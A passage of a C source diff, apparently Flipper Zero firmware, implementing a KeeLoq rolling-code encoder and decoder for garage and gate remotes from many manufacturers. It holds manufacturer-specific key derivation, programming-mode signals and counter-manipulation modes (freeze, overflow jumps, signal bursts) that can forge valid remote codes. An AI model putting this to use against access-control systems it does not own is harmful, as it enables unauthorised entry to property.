+        if(prog_mode == PROG_MODE_KEELOQ_BFT) {
+            instance->manufacture_name = "BFT";
+        } else if(prog_mode == PROG_MODE_KEELOQ_APRIMATIC) {
+            instance->manufacture_name = "Aprimatic";
+        } else if(prog_mode == PROG_MODE_KEELOQ_DEA_MIO) {
+            instance->manufacture_name = "Dea_Mio";
+        }
+        // Custom button (programming mode button) for BFT, Aprimatic, Dea_Mio
+        uint8_t klq_last_custom_btn = 0xA;
+        if((strcmp(instance->manufacture_name, "BFT") == 0) ||
+           (strcmp(instance->manufacture_name, "Aprimatic") == 0) ||
+           (strcmp(instance->manufacture_name, "Dea_Mio") == 0) ||
+           (strcmp(instance->manufacture_name, "NICE_MHOUSE") == 0)) {
+            klq_last_custom_btn = 0xF;
+        } else if(
+            (strcmp(instance->manufacture_name, "FAAC_RC,XT") == 0) ||
+            (strcmp(instance->manufacture_name, "Monarch") == 0) ||
+            (strcmp(instance->manufacture_name, "NICE_Smilo") == 0) ||
+            (strcmp(instance->manufacture_name, "Genius_Bravo") == 0)) {
+            klq_last_custom_btn = 0xB;
+        } else if(
+            (strcmp(instance->manufacture_name, "Novoferm") == 0) ||
+            (strcmp(instance->manufacture_name, "Stilmatic") == 0)) {
+            klq_last_custom_btn = 0x9;
+        } else if(
+            (strcmp(instance->manufacture_name, "EcoStar") == 0) ||
+            (strcmp(instance->manufacture_name, "Sommer") == 0)) {
+            klq_last_custom_btn = 0x6;
+        } else if((strcmp(instance->manufacture_name, "AN-Motors") == 0)) {
+            klq_last_custom_btn = 0xC;
+        } else if((strcmp(instance->manufacture_name, "Cardin_S449") == 0)) {
+            klq_last_custom_btn = 0xD;
+        }
+
+        btn = subghz_protocol_keeloq_get_btn_code(klq_last_custom_btn);
+    }
+    // end gendata part
+    // override button if we change it with signal settings button editor
+    if(subghz_block_generic_global_button_override_get(&btn))
+        FURI_LOG_D(TAG, "Button sucessfully changed to 0x%X", btn);
+
+    uint32_t fix = (uint32_t)btn << 28 | instance->generic.serial;
+    uint32_t hop = 0;
+    uint64_t man = 0;
+    uint64_t code_found_reverse;
+    int res = 0;
+
+    // programming mode on / off conditions
+    if(strcmp(instance->manufacture_name, "BFT") == 0) {
+        // BFT programming mode on / off conditions
+        if(btn == 0xF) {
+            prog_mode = PROG_MODE_KEELOQ_BFT;
+        } else if(prog_mode == PROG_MODE_KEELOQ_BFT) {
+            prog_mode = PROG_MODE_OFF;
+        }
+    } else if(strcmp(instance->manufacture_name, "Aprimatic") == 0) {
+        // Aprimatic programming mode on / off conditions
+        if(btn == 0xF) {
+            prog_mode = PROG_MODE_KEELOQ_APRIMATIC;
+        } else if(prog_mode == PROG_MODE_KEELOQ_APRIMATIC) {
+            prog_mode = PROG_MODE_OFF;
+        }
+    } else if(strcmp(instance->manufacture_name, "Dea_Mio") == 0) {
+        // Dea_Mio programming mode on / off conditions
+        if(btn == 0xF) {
+            prog_mode = PROG_MODE_KEELOQ_DEA_MIO;
+        } else if(prog_mode == PROG_MODE_KEELOQ_DEA_MIO) {
+            prog_mode = PROG_MODE_OFF;
+        }
+    }
+    subghz_custom_btn_set_prog_mode(prog_mode);
+
+    // If we using BFT programming mode we will trasmit its seed in hop part like original remote
+    if(prog_mode == PROG_MODE_KEELOQ_BFT) {
+        hop = instance->generic.seed;
+    } else if(prog_mode == PROG_MODE_KEELOQ_APRIMATIC) {
+        // If we using Aprimatic programming mode we will trasmit some strange looking hop value, why? cuz manufacturer did it this way :)
+        hop = 0x1A2B3C4D;
+    } else if(prog_mode == PROG_MODE_KEELOQ_DEA_MIO) {
+        // If we using DEA Mio programming mode we will trasmit only FIX value with button code 0xF, hop is zero
+        hop = 0x00000000;
+    }
+    if(counter_up && prog_mode == PROG_MODE_OFF) {
+        // Counter increment conditions
+
+        if(keeloq_counter_mode == 0 || bypass) {
+            // Check for OFEX (overflow experimental) mode
+            if(furi_hal_subghz_get_rolling_counter_mult() != -0x7FFFFFFF || bypass) {
+                bypass = false;
+                // standart counter mode. PULL data from subghz_block_generic_global variables
+                if(!subghz_block_generic_global_counter_override_get(&instance->generic.cnt)) {
+                    // if counter_override_get return FALSE then counter was not changed and we increase counter by standart mult value
+                    if((instance->generic.cnt + furi_hal_subghz_get_rolling_counter_mult()) >
+                       0xFFFF) {
+                        instance->generic.cnt = 0;
+                    } else {
+                        instance->generic.cnt += furi_hal_subghz_get_rolling_counter_mult();
+                    }
+                }
+            } else {
+                if((instance->generic.cnt + 0x1) > 0xFFFF) {
+                    instance->generic.cnt = 0;
+                } else if(instance->generic.cnt >= 0x1 && instance->generic.cnt != 0xFFFE) {
+                    instance->generic.cnt = 0xFFFE;
+                } else {
+                    instance->generic.cnt++;
+                }
+            }
+        } else if(keeloq_counter_mode == 1) {
+            // Mode 1
+            // 0000 / 0001 / FFFE / FFFF
+            if((instance->generic.cnt + 0x1) > 0xFFFF) {
+                instance->generic.cnt = 0;
+            } else if(instance->generic.cnt >= 0x1 && instance->generic.cnt != 0xFFFE) {
+                instance->generic.cnt = 0xFFFE;
+            } else {
+                instance->generic.cnt++;
+            }
+        } else if(keeloq_counter_mode == 2) {
+            // Mode 2
+            // + 0x3333 each time
+            if((instance->generic.cnt + 0x3333) > 0xFFFF) {
+                instance->generic.cnt = 0;
+            } else {
+                instance->generic.cnt += 0x3333;
+            }
+        } else if(keeloq_counter_mode == 3) {
+            // Mode 3
+            // 0x8006 / 0x8007 / 0x0006 / 0x0007
+            if(instance->generic.cnt != 0x8006 && instance->generic.cnt != 0x8007 &&
+               instance->generic.cnt != 0x0006) {
+                instance->generic.cnt = 0x8006;
+            } else if(instance->generic.cnt == 0x8007) {
+                instance->generic.cnt = 0x0006;
+            } else {
+                instance->generic.cnt++;
+            }
+
+        } else if(keeloq_counter_mode == 4) {
+            // Mode 4
+            // 0x807B / 0x807C / 0x007B / 0x007C
+            if(instance->generic.cnt != 0x807B && instance->generic.cnt != 0x807C &&
+               instance->generic.cnt != 0x007B) {
+                instance->generic.cnt = 0x807B;
+            } else if(instance->generic.cnt == 0x807C) {
+                instance->generic.cnt = 0x007B;
+            } else {
+                instance->generic.cnt++;
+            }
+        } else if(keeloq_counter_mode == 5) {
+            // Mode 5
+            // 0000 / FFFF
+            if((instance->generic.cnt + 0x1) > 0xFFFF) {
+                instance->generic.cnt = 0;
+            } else {
+                instance->generic.cnt = 0xFFFF;
+            }
+        } else if(keeloq_counter_mode == 6) {
+            // Mode 6 - Freeze counter
+        } else {
+            // Mode 7 - Make 12 signals in row with mode 2
+            // + 0x3333 each time
+            if((instance->generic.cnt + 0x3333) > 0xFFFF) {
+                instance->generic.cnt = 0;
+            } else {
+                instance->generic.cnt += 0x3333;
+            }
+        }
+    }
+    if(prog_mode == PROG_MODE_OFF) {
+        // Protocols that do not use encryption
+        if(strcmp(instance->manufacture_name, "Unknown") == 0) {
+            // Simple Replay of received code
+            code_found_reverse = subghz_protocol_blocks_reverse_key(
+                instance->generic.data, instance->generic.data_count_bit);
+            hop = code_found_reverse & 0x00000000ffffffff;
+        } else if(strcmp(instance->manufacture_name, "AN-Motors") == 0) {
+            // An-Motors encode
+            hop = (instance->generic.cnt & 0xFF) << 24 | (instance->generic.cnt & 0xFF) << 16 |
+                  (btn & 0xF) << 12 | 0x404;
+        } else if(strcmp(instance->manufacture_name, "HCS101") == 0) {
+            // HCS101 Encode
+            hop = instance->generic.cnt << 16 | (btn & 0xF) << 12 | 0x000;
+        } else {
+            // Protocols that use encryption
+            uint32_t decrypt = (uint32_t)btn << 28 |
+                               (instance->generic.serial & 0x3FF)
+                                   << 16 | //ToDo in some protocols the discriminator is 0
+                               instance->generic.cnt;
+
+            if(strcmp(instance->manufacture_name, "Aprimatic") == 0) {
+                // Aprimatic uses 12bit serial number + 2bit APR1 "parity" bit in front of it replacing first 2 bits of serial
+                // Thats in theory! We need to check if this is true for all Aprimatic remotes but we got only 3 recordings to test
+                // For now lets assume that this is true for all Aprimatic remotes, if not we will need to add some more code here
+                uint32_t apri_serial = instance->generic.serial;
+                uint8_t apr1 = 0;
+                for(uint16_t i = 1; i != 0b10000000000; i <<= 1) {
+                    if(apri_serial & i) apr1++;
+                }
+                apri_serial &= 0b00001111111111;
+                if(apr1 % 2 == 0) {
+                    apri_serial |= 0b110000000000;
+                }
+                decrypt = btn << 28 | (apri_serial & 0xFFF) << 16 | instance->generic.cnt;
+            } else if(
+                (strcmp(instance->manufacture_name, "DTM_Neo") == 0) ||
+                (strcmp(instance->manufacture_name, "FAAC_RC,XT") == 0) ||
+                (strcmp(instance->manufacture_name, "Mutanco_Mutancode") == 0) ||
+                (strcmp(instance->manufacture_name, "Came_Space") == 0) ||
+                (strcmp(instance->manufacture_name, "Genius_Bravo") == 0) ||
+                (strcmp(instance->manufacture_name, "GSN") == 0) ||
+                (strcmp(instance->manufacture_name, "Rosh") == 0) ||
+                (strcmp(instance->manufacture_name, "Rossi") == 0) ||
+                (strcmp(instance->manufacture_name, "Pecinin") == 0) ||
+                (strcmp(instance->manufacture_name, "Steelmate") == 0) ||
+                (strcmp(instance->manufacture_name, "Cardin_S449") == 0) ||
+                (strcmp(instance->manufacture_name, "Stilmatic") == 0)) {
+                // DTM Neo, Came_Space uses 12bit serial -> simple learning
+                // FAAC_RC,XT , Mutanco_Mutancode, Genius_Bravo, GSN 12bit serial -> normal learning
+                // Rosh, Rossi, Pecinin -> 12bit serial - simple learning
+                // Steelmate -> 12bit serial - normal learning
+                // Cardin_S449 -> 12bit serial - normal learning
+                // Stilmatic (r-tech) -> 12bit serial - normal learning
+                decrypt = btn << 28 | (instance->generic.serial & 0xFFF) << 16 |
+                          instance->generic.cnt;
+            } else if(
+                (strcmp(instance->manufacture_name, "NICE_Smilo") == 0) ||
+                (strcmp(instance->manufacture_name, "NICE_MHOUSE") == 0) ||
+                (strcmp(instance->manufacture_name, "JCM_Tech") == 0)) {
+                // Nice Smilo, MHouse, JCM -> 8bit serial - simple learning
+                decrypt = btn << 28 | (instance->generic.serial & 0xFF) << 16 |
+                          instance->generic.cnt;
+            } else if(
+                (strcmp(instance->manufacture_name, "Beninca") == 0) ||
+                (strcmp(instance->manufacture_name, "Merlin") == 0)) {
+                decrypt = btn << 28 | (0x000) << 16 | instance->generic.cnt;
+                // Beninca / Allmatic -> no serial - simple XOR
+                // Merlin -> no serial - simple XOR
+            } else if(strcmp(instance->manufacture_name, "Centurion") == 0) {
+                decrypt = btn << 28 | (0x1CE) << 16 | instance->generic.cnt;
+                // Centurion -> no serial in hop, uses fixed value 0x1CE - normal learning
+            } else if(strcmp(instance->manufacture_name, "Monarch") == 0) {
+                decrypt = btn << 28 | (0x100) << 16 | instance->generic.cnt;
+                // Monarch -> no serial in hop, uses fixed value 0x100 - normal learning
+            } else if(strcmp(instance->manufacture_name, "Dea_Mio") == 0) {
+                uint8_t first_disc_num = (instance->generic.serial >> 8) & 0xF;
+                uint8_t result_disc = (0xC + (first_disc_num % 4));
+                uint32_t dea_serial = (instance->generic.serial & 0xFF) |
+                                      (((uint32_t)result_disc) << 8);
+                decrypt = btn << 28 | (dea_serial & 0xFFF) << 16 | instance->generic.cnt;
+                // Dea_Mio -> modified serial in hop, uses last 3 digits modifying first one (example - 419 -> C19)
+                // (see formula in result_disc var) - simple learning
+            }
+            // Old type selector fixage for compatibilitiy with old signal files
+            uint8_t kl_type_en = instance->keystore->kl_type;
+            for
+                M_EACH(
+                    manufacture_code,
+                    *subghz_keystore_get_data(instance->keystore),
+                    SubGhzKeyArray_t) {
+                    res = strcmp(
+                        furi_string_get_cstr(manufacture_code->name), instance->manufacture_name);
+                    if(res == 0) {
+                        switch(manufacture_code->type) {
+                        case KEELOQ_LEARNING_SIMPLE:
+                            //Simple Learning
+                            hop = subghz_protocol_keeloq_common_encrypt(
+                                decrypt, manufacture_code->key);
+                            break;
+                        case KEELOQ_LEARNING_NORMAL:
+                            //Simple Learning
+                            man = subghz_protocol_keeloq_common_normal_learning(
+                                fix, manufacture_code->key);
+                            hop = subghz_protocol_keeloq_common_encrypt(decrypt, man);
+                            break;
+                        case KEELOQ_LEARNING_SECURE:
+                            //Secure Learning
+                            man = subghz_protocol_keeloq_common_secure_learning(
+                                fix, instance->generic.seed, manufacture_code->key);
+                            hop = subghz_protocol_keeloq_common_encrypt(decrypt, man);
+                            break;
+                        case KEELOQ_LEARNING_MAGIC_XOR_TYPE_1:
+                            //Magic XOR type-1 Learning
+                            man = subghz_protocol_keeloq_common_magic_xor_type1_learning(
+                                instance->generic.serial, manufacture_code->key);
+                            hop = subghz_protocol_keeloq_common_encrypt(decrypt, man);
+                            break;
+                        case KEELOQ_LEARNING_MAGIC_SERIAL_TYPE_1:
+                            //Magic Serial Type 1 learning
+                            man = subghz_protocol_keeloq_common_magic_serial_type1_learning(
+                                fix, manufacture_code->key);
+                            hop = subghz_protocol_keeloq_common_encrypt(decrypt, man);
+                            break;
+                        case KEELOQ_LEARNING_UNKNOWN:
+                            if(kl_type_en == 1) {
+                                hop = subghz_protocol_keeloq_common_encrypt(
+                                    decrypt, manufacture_code->key);
+                            }
+                            if(kl_type_en == 2) {
+                                man = subghz_protocol_keeloq_common_normal_learning(
+                                    fix, manufacture_code->key);
+                                hop = subghz_protocol_keeloq_common_encrypt(decrypt, man);
+                            }
+                            if(kl_type_en == 3) {
+                                man = subghz_protocol_keeloq_common_secure_learning(
+                                    fix, instance->generic.seed, manufacture_code->key);
+                                hop = subghz_protocol_keeloq_common_encrypt(decrypt, man);
+                            }
+                            if(kl_type_en == 4) {
+                                man = subghz_protocol_keeloq_common_magic_xor_type1_learning(
+                                    instance->generic.serial, manufacture_code->key);
+                                hop = subghz_protocol_keeloq_common_encrypt(decrypt, man);
+                            }
+                            break;
+                        }
+                        break;
+                    }
+                }
+        }
+    }
+    if(hop || (prog_mode == PROG_MODE_KEELOQ_DEA_MIO) || (prog_mode == PROG_MODE_KEELOQ_BFT)) {
+        // If we have hop - we will save it to generic data var that will be used later in transmission
+        uint64_t yek = (uint64_t)fix << 32 | hop;
+        instance->generic.data =
+            subghz_protocol_blocks_reverse_key(yek, instance->generic.data_count_bit);
+    } // What should happen if seed = 0 in bft programming mode -> collapse of the universe I think :)
+    return true; // Always return true
+}
+
+bool subghz_protocol_keeloq_create_data(
+    void* context,
+    FlipperFormat* flipper_format,
+    uint32_t serial,
+    uint8_t btn,
+    uint16_t cnt,
+    const char* manufacture_name,
+    SubGhzRadioPreset* preset) {
+    furi_check(context);
+    SubGhzProtocolEncoderKeeloq* instance = context;
+    instance->generic.serial = serial;
+    instance->generic.cnt = cnt;
+    instance->manufacture_name = manufacture_name;
+    instance->generic.data_count_bit = 64;
+    if(subghz_protocol_keeloq_gen_data(instance, btn, false, true)) {
+        return (
+            subghz_block_generic_serialize(&instance->generic, flipper_format, preset) ==
+            SubGhzProtocolStatusOk);
+    }
+    return false;
+}
+
+bool subghz_protocol_keeloq_bft_create_data(
+    void* context,
+    FlipperFormat* flipper_format,
+    uint32_t serial,
+    uint8_t btn,
+    uint16_t cnt,
+    uint32_t seed,
+    const char* manufacture_name,
+    SubGhzRadioPreset* preset) {
+    furi_assert(context);
+    SubGhzProtocolEncoderKeeloq* instance = context;
+    instance->generic.serial = serial;
+    instance->generic.btn = btn;
+    instance->generic.cnt = cnt;
+    instance->generic.seed = seed;
+    instance->manufacture_name = manufacture_name;
+    instance->generic.data_count_bit = 64;
+    // hehehehe
+    if(subghz_protocol_keeloq_gen_data(instance, btn, false, true)) {
+        return (
+            subghz_block_generic_serialize(&instance->generic, flipper_format, preset) ==
+            SubGhzProtocolStatusOk);
+    }
+    return false;
+}
+
+static size_t subghz_protocol_encoder_keeloq_encode_to_timings(
+    SubGhzProtocolEncoderKeeloq* instance,
+    uint8_t btn,
+    bool counter_up,
+    size_t index) {
+    furi_assert(instance);
+    // Generate new key
+    if(!subghz_protocol_keeloq_gen_data(instance, btn, counter_up, false)) {
+        return 0;
+    }
+
+    uint32_t gap_duration = subghz_protocol_keeloq_const.te_short * 40;
+    if((strcmp(instance->manufacture_name, "Sommer") == 0)) {
+        gap_duration = subghz_protocol_keeloq_const.te_short * 29;
+    }
+
+    //Send header
+    for(uint8_t i = 11; i > 0; i--) {
+        instance->encoder.upload[index++] =
+            level_duration_make(true, (uint32_t)subghz_protocol_keeloq_const.te_short);
+        instance->encoder.upload[index++] =
+            level_duration_make(false, (uint32_t)subghz_protocol_keeloq_const.te_short);
+    }
+    instance->encoder.upload[index++] =
+        level_duration_make(true, (uint32_t)subghz_protocol_keeloq_const.te_short);
+    instance->encoder.upload[index++] =
+        level_duration_make(false, (uint32_t)subghz_protocol_keeloq_const.te_short * 10);
+
+    //Send key data
+    for(uint8_t i = instance->generic.data_count_bit; i > 0; i--) {
+        if(bit_read(instance->generic.data, i - 1)) {
+            //send bit 1
+            instance->encoder.upload[index++] =
+                level_duration_make(true, (uint32_t)subghz_protocol_keeloq_const.te_short);
+            instance->encoder.upload[index++] =
+                level_duration_make(false, (uint32_t)subghz_protocol_keeloq_const.te_long);
+        } else {
+            //send bit 0
+            instance->encoder.upload[index++] =
+                level_duration_make(true, (uint32_t)subghz_protocol_keeloq_const.te_long);
+            instance->encoder.upload[index++] =
+                level_duration_make(false, (uint32_t)subghz_protocol_keeloq_const.te_short);
+        }
+    }
+    // +send 2 status bit
+    instance->encoder.upload[index++] =
+        level_duration_make(true, (uint32_t)subghz_protocol_keeloq_const.te_short);
+    instance->encoder.upload[index++] =
+        level_duration_make(false, (uint32_t)subghz_protocol_keeloq_const.te_long);
+    // send end
+    instance->encoder.upload[index++] =
+        level_duration_make(true, (uint32_t)subghz_protocol_keeloq_const.te_short);
+    instance->encoder.upload[index++] = level_duration_make(false, gap_duration);
+
+    return index;
+}
+
+/**
+ * Generating an upload from data.
+ * @param instance Pointer to a SubGhzProtocolEncoderKeeloq instance
+ * @return true On success
+ */
+static bool
+    subghz_protocol_encoder_keeloq_get_upload(SubGhzProtocolEncoderKeeloq* instance, uint8_t btn) {
+    furi_assert(instance);
+
+    instance->encoder.size_upload = 0;
+    size_t upindex = 0;
+
+    // if we change counter/button in SignalSettings menu then we must bypass counter_modes, just gen and save signal file.
+    if(subghz_block_generic_global.cnt_need_override ||
+       subghz_block_generic_global.btn_need_override)
+        bypass = true;
+
+    // Create mode7 upload only if counter and button was not changed by SignalSettings menu
+    if(keeloq_counter_mode == 7 && !bypass) {
+        uint16_t temp_cnt = instance->generic.cnt;
+        instance->encoder.repeat = 1;
+        for(uint8_t i = 7; i > 0; i--) {
+            if(i == 3) {
+                instance->generic.cnt = 0x0000;
+                upindex = subghz_protocol_encoder_keeloq_encode_to_timings(
+                    instance, (uint8_t)0x00, false, upindex);
+                continue;
+            } else if(i == 2) {
+                instance->generic.cnt = temp_cnt;
+                upindex = subghz_protocol_encoder_keeloq_encode_to_timings(
+                    instance, btn, false, upindex);
+                continue;
+            } else if(i == 1) {
+                instance->generic.cnt = temp_cnt + 1;
+                upindex = subghz_protocol_encoder_keeloq_encode_to_timings(
+                    instance, btn, false, upindex);
+                continue;
+            }
+            upindex = subghz_protocol_encoder_keeloq_encode_to_timings(
+                instance, (uint8_t)0x00, true, upindex);
+        }
+        instance->encoder.size_upload = upindex;
+        return true;
+    } else {
+        instance->encoder.repeat = 3;
+        instance->encoder.size_upload =
+            subghz_protocol_encoder_keeloq_encode_to_timings(instance, btn, true, upindex);
+    }
+
+    return true;
+}
+
+SubGhzProtocolStatus
+    subghz_protocol_encoder_keeloq_deserialize(void* context, FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolEncoderKeeloq* instance = context;
+    SubGhzProtocolStatus ret = SubGhzProtocolStatusError;
+    do {
+        ret = subghz_block_generic_deserialize_check_count_bit(
+            &instance->generic,
+            flipper_format,
+            subghz_protocol_keeloq_const.min_count_bit_for_found);
+        if(ret != SubGhzProtocolStatusOk) {
+            break;
+        }
+        if(instance->generic.data_count_bit !=
+           subghz_protocol_keeloq_const.min_count_bit_for_found) {
+            FURI_LOG_E(TAG, "Wrong number of bits in key");
+            break;
+        }
+
+        uint8_t seed_data[sizeof(uint32_t)] = {0};
+        for(size_t i = 0; i < sizeof(uint32_t); i++) {
+            seed_data[sizeof(uint32_t) - i - 1] = (instance->generic.seed >> i * 8) & 0xFF;
+        }
+        if(!flipper_format_read_hex(flipper_format, "Seed", seed_data, sizeof(uint32_t))) {
+            FURI_LOG_D(TAG, "ENCODER: Missing Seed");
+        }
+        instance->generic.seed = seed_data[0] << 24 | seed_data[1] << 16 | seed_data[2] << 8 |
+                                 seed_data[3];
+
+        if(!flipper_format_rewind(flipper_format)) {
+            FURI_LOG_E(TAG, "Rewind error");
+            break;
+        }
+        // Read manufacturer from file
+        if(flipper_format_read_string(
+               flipper_format, "Manufacture", instance->manufacture_from_file)) {
+            instance->manufacture_name = furi_string_get_cstr(instance->manufacture_from_file);
+            instance->keystore->mfname = instance->manufacture_name;
+            // Compatibility fixes for old names in user files
+            if(strcmp(instance->manufacture_name, "Sommer(fsk476)") == 0) {
+                instance->manufacture_name = "Sommer";
+                instance->keystore->mfname = instance->manufacture_name;
+                if(!flipper_format_rewind(flipper_format)) {
+                    FURI_LOG_E(TAG, "Rewind error");
+                    break;
+                }
+                if(!flipper_format_update_string_cstr(
+                       flipper_format, "Manufacture", instance->manufacture_name)) {
+                    FURI_LOG_E(TAG, "DECODER: Unable to fix Sommer manufacture name");
+                    ret = SubGhzProtocolStatusError;
+                    break;
+                }
+            }
+        } else {
+            FURI_LOG_D(TAG, "ENCODER: Missing Manufacture");
+        }
+
+        if(!flipper_format_rewind(flipper_format)) {
+            FURI_LOG_E(TAG, "Rewind error");
+            break;
+        }
+
+        uint32_t tmp_counter_mode;
+        if(flipper_format_read_uint32(flipper_format, "CounterMode", &tmp_counter_mode, 1)) {
+            keeloq_counter_mode = (uint8_t)tmp_counter_mode;
+        } else {
+            keeloq_counter_mode = 0;
+        }
+
+        if(!flipper_format_rewind(flipper_format)) {
+            FURI_LOG_E(TAG, "Rewind error");
+            break;
+        }
+
+        subghz_protocol_keeloq_check_remote_controller(
+            &instance->generic, instance->keystore, &instance->manufacture_name);
+
+        // Optional value
+        flipper_format_read_uint32(
+            flipper_format, "Repeat", (uint32_t*)&instance->encoder.repeat, 1);
+
+        if(!subghz_protocol_encoder_keeloq_get_upload(instance, instance->generic.btn)) {
+            ret = SubGhzProtocolStatusErrorEncoderGetUpload;
+            break;
+        }
+        if(!flipper_format_rewind(flipper_format)) {
+            FURI_LOG_E(TAG, "Rewind error");
+            ret = SubGhzProtocolStatusErrorParserOthers;
+            break;
+        }
+        uint8_t key_data[sizeof(uint64_t)] = {0};
+        for(size_t i = 0; i < sizeof(uint64_t); i++) {
+            key_data[sizeof(uint64_t) - i - 1] = (instance->generic.data >> (i * 8)) & 0xFF;
+        }
+        if(!flipper_format_update_hex(flipper_format, "Key", key_data, sizeof(uint64_t))) {
+            FURI_LOG_E(TAG, "Unable to add Key");
+            ret = SubGhzProtocolStatusErrorParserKey;
+            break;
+        }
+        instance->encoder.front = 0; // reset before start
+        instance->encoder.is_running = true;
+    } while(false);
+
+    return ret;
+}
+
+void subghz_protocol_encoder_keeloq_stop(void* context) {
+    SubGhzProtocolEncoderKeeloq* instance = context;
+    instance->encoder.is_running = false;
+    instance->encoder.front = 0; // reset position
+}
+
+LevelDuration subghz_protocol_encoder_keeloq_yield(void* context) {
+    SubGhzProtocolEncoderKeeloq* instance = context;
+
+    if(instance->encoder.repeat == 0 || !instance->encoder.is_running) {
+        instance->encoder.is_running = false;
+        return level_duration_reset();
+    }
+
+    LevelDuration ret = instance->encoder.upload[instance->encoder.front];
+
+    if(++instance->encoder.front == instance->encoder.size_upload) {
+        if(!subghz_block_generic_global.endless_tx) instance->encoder.repeat--;
+        instance->encoder.front = 0;
+    }
+
+    return ret;
+}
+
+void* subghz_protocol_decoder_keeloq_alloc(SubGhzEnvironment* environment) {
+    SubGhzProtocolDecoderKeeloq* instance = malloc(sizeof(SubGhzProtocolDecoderKeeloq));
+    instance->base.protocol = &subghz_protocol_keeloq;
+    instance->generic.protocol_name = instance->base.protocol->name;
+    instance->keystore = subghz_environment_get_keystore(environment);
+    instance->manufacture_from_file = furi_string_alloc();
+
+    subghz_custom_btn_set_prog_mode(PROG_MODE_OFF);
+
+    return instance;
+}
+
+void subghz_protocol_decoder_keeloq_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderKeeloq* instance = context;
+    furi_string_free(instance->manufacture_from_file);
+
+    free(instance);
+}
+
+void subghz_protocol_decoder_keeloq_reset(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderKeeloq* instance = context;
+    instance->decoder.parser_step = KeeloqDecoderStepReset;
+    // TODO
+    instance->keystore->mfname = "";
+    instance->keystore->kl_type = 0;
+    // Reset seed?
+    instance->generic.seed = 0;
+}
+
+void subghz_protocol_decoder_keeloq_feed(void* context, bool level, uint32_t duration) {
+    furi_assert(context);
+    SubGhzProtocolDecoderKeeloq* instance = context;
+
+    switch(instance->decoder.parser_step) {
+    case KeeloqDecoderStepReset:
+        if((level) && DURATION_DIFF(duration, subghz_protocol_keeloq_const.te_short) <
+                          subghz_protocol_keeloq_const.te_delta) {
+            instance->decoder.parser_step = KeeloqDecoderStepCheckPreambula;
+            instance->header_count++;
+        }
+        break;
+    case KeeloqDecoderStepCheckPreambula:
+        if((!level) && (DURATION_DIFF(duration, subghz_protocol_keeloq_const.te_short) <
+                        subghz_protocol_keeloq_const.te_delta)) {
+            instance->decoder.parser_step = KeeloqDecoderStepReset;
+            break;
+        }
+        if((instance->header_count > 2) &&
+           (DURATION_DIFF(duration, subghz_protocol_keeloq_const.te_short * 10) <
+            subghz_protocol_keeloq_const.te_delta * 10)) {
+            // Found header
+            instance->decoder.parser_step = KeeloqDecoderStepSaveDuration;
+            instance->decoder.decode_data = 0;
+            instance->decoder.decode_count_bit = 0;
+        } else {
+            instance->decoder.parser_step = KeeloqDecoderStepReset;
+            instance->header_count = 0;
+        }
+        break;
+    case KeeloqDecoderStepSaveDuration:
+        if(level) {
+            instance->decoder.te_last = duration;
+            instance->decoder.parser_step = KeeloqDecoderStepCheckDuration;
+        }
+        break;
+    case KeeloqDecoderStepCheckDuration:
+        if(!level) {
+            if(duration >= ((uint32_t)subghz_protocol_keeloq_const.te_short * 2 +
+                            subghz_protocol_keeloq_const.te_delta)) {
+                // Found end TX
+                instance->decoder.parser_step = KeeloqDecoderStepReset;
+                if((instance->decoder.decode_count_bit >=
+                    subghz_protocol_keeloq_const.min_count_bit_for_found) &&
+                   (instance->decoder.decode_count_bit <=
+                    subghz_protocol_keeloq_const.min_count_bit_for_found + 2)) {
+                    if(instance->generic.data != instance->decoder.decode_data) {
+                        instance->generic.data = instance->decoder.decode_data;
+                        instance->generic.data_count_bit =
+                            subghz_protocol_keeloq_const.min_count_bit_for_found;
+                        if(instance->base.callback)
+                            instance->base.callback(&instance->base, instance->base.context);
+                    }
+                    instance->decoder.decode_data = 0;
+                    instance->decoder.decode_count_bit = 0;
+                    instance->header_count = 0;
+                }
+                break;
+            } else if(
+                (DURATION_DIFF(instance->decoder.te_last, subghz_protocol_keeloq_const.te_short) <
+                 subghz_protocol_keeloq_const.te_delta) &&
+                (DURATION_DIFF(duration, subghz_protocol_keeloq_const.te_long) <
+                 subghz_protocol_keeloq_const.te_delta * 2)) {
+                if(instance->decoder.decode_count_bit <
+                   subghz_protocol_keeloq_const.min_count_bit_for_found) {
+                    subghz_protocol_blocks_add_bit(&instance->decoder, 1);
+                } else {
+                    instance->decoder.decode_count_bit++;
+                }
+                instance->decoder.parser_step = KeeloqDecoderStepSaveDuration;
+            } else if(
+                (DURATION_DIFF(instance->decoder.te_last, subghz_protocol_keeloq_const.te_long) <
+                 subghz_protocol_keeloq_const.te_delta * 2) &&
+                (DURATION_DIFF(duration, subghz_protocol_keeloq_const.te_short) <
+                 subghz_protocol_keeloq_const.te_delta)) {
+                if(instance->decoder.decode_count_bit <
+                   subghz_protocol_keeloq_const.min_count_bit_for_found) {
+                    subghz_protocol_blocks_add_bit(&instance->decoder, 0);
+                } else {
+                    instance->decoder.decode_count_bit++;
+                }
+                instance->decoder.parser_step = KeeloqDecoderStepSaveDuration;
+            } else {
+                instance->decoder.parser_step = KeeloqDecoderStepReset;
+                instance->header_count = 0;
+            }
+        } else {
+            instance->decoder.parser_step = KeeloqDecoderStepReset;
+            instance->header_count = 0;
+        }
+        break;
+    }
+}
+
+/**
+ * Validation of decrypt data.
+ * @param instance Pointer to a SubGhzBlockGeneric instance
+ * @param decrypt Decrypted data
+ * @param btn Button number, 4 bit
+ * @param end_serial decrement the last 10 bits of the serial number
+ * @return true On success
+ */
+static inline bool subghz_protocol_keeloq_check_decrypt(
+    SubGhzBlockGeneric* instance,
+    uint32_t decrypt,
+    uint8_t btn,
+    uint32_t end_serial) {
+    furi_assert(instance);
+    if((decrypt >> 28 == btn) && (((((uint16_t)(decrypt >> 16)) & 0xFF) == end_serial) ||
+                                  ((((uint16_t)(decrypt >> 16)) & 0xFF) == 0))) {
+        instance->cnt = decrypt & 0x0000FFFF;
+        /*FURI_LOG_I(
+            "KL",
+            "decrypt: 0x%08lX, btn: %d, end_serial: 0x%03lX, cnt: %ld",
+            decrypt,
+            btn,
+            end_serial,
+            instance->cnt);*/
+        return true;
+    }
+    return false;
+}
+// Centurion specific check
+static inline bool subghz_protocol_keeloq_check_decrypt_centurion(
+    SubGhzBlockGeneric* instance,
+    uint32_t decrypt,
+    uint8_t btn) {
+    furi_assert(instance);
+
+    if((decrypt >> 28 == btn) && ((((uint16_t)(decrypt >> 16)) & 0x3FF) == 0x1CE)) {
+        instance->cnt = decrypt & 0x0000FFFF;
